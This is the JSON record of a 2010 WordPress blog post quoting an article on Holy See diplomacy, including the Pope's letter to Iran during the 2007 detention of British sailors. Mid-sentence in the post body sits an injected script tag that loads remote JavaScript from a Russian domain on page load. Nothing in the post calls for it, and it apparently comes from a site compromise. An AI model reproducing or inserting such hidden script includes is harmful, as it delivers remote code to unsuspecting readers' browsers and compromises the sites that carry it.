{"id":8445,"date":"2010-04-28T13:06:00","date_gmt":"2010-04-28T12:06:00","guid":{"rendered":"http:\/\/www.scmlondon.org\/?p=8445"},"modified":"2010-04-28T13:16:29","modified_gmt":"2010-04-28T12:16:29","slug":"the-diplomatic-service-of-the-holy-see","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=8445","title":{"rendered":"The diplomatic service of the Holy See"},"content":{"rendered":"<p>At a time of heightened religious sensitivity, Edward Pentin looks into the work of the diplomatic service of the Holy See, outlining how it can use its unique position and vast sphere of influence for the better<\/p>\n<p>&#8230; Evidence of this role was seen shortly before <span style=\"color: #ff6600;\">Easter 2007, when Iran captured 15 British military personnel who were allegedly trespassing in Iranian waters<\/span>. The UK government had few options: it couldn\u2019t rely on the UN, the EU or many of its close allies to mediate the dispute because of ongoing differences over Iran\u2019s nuclear programme. That left the Holy See as the only viable neutral mediator. Britain\u2019s embassy officials and high-ranking Holy See diplomats therefore persuaded <span style=\"color: #ff6600;\">Pope Benedict XVI to send a letter <script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/span>to Iran\u2019s spiritual leader, Ayatollah Khamenei, <span style=\"color: #ff6600;\">appealing for the captives\u2019 release<\/span>.<\/p>\n<p><span style=\"color: #ff6600;\">The\u00a0Iranian Ambassador to the Holy See<\/span>, Mohammed Javad Faridzadeh, recalled in an interview that <span style=\"color: #ff6600;\">his embassy received the Pope\u2019s letter \u2018with great happiness\u2019 <\/span>and immediately sent it to Iran in acknowledgment of the \u2018spiritual importance the Vatican has throughout the world.\u2019 <span style=\"color: #ff6600;\">Hours later, President Mahmoud Ahmadinejad freed the captives, calling their release an Easter \u2018gift\u2019 to Britain \u2013 phraseology almost identical to that used in the Pope\u2019s letter, which called for an \u2018Easter gesture of good will.\u2019<\/span> &#8230;<\/p>\n<p>More info &gt;&gt; <a href=\"http:\/\/www.diplomatmagazine.co.uk\/index.php?option=com_content&amp;view=article&amp;id=253&amp;Itemid=&amp;ed=8\"><span style=\"color: #808000;\">http:\/\/www.diplomatmagazine.co.uk\/index.php?option=com_content&amp;view=article&amp;id=253&amp;Itemid=&amp;ed=8<\/span><\/a><\/p>\n<h3>Related Images:<\/h3>","protected":false},"excerpt":{"rendered":"<p>At a time of heightened religious sensitivity, Edward Pentin looks into the work of the diplomatic service of the Holy See, outlining how it can use its unique position and&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=8445\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[11,6],"tags":[],"class_list":["post-8445","post","type-post","status-publish","format-standard","hentry","category-11","category-6"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/8445","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=8445"}],"version-history":[{"count":6,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/8445\/revisions"}],"predecessor-version":[{"id":8452,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/8445\/revisions\/8452"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=8445"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=8445"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=8445"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}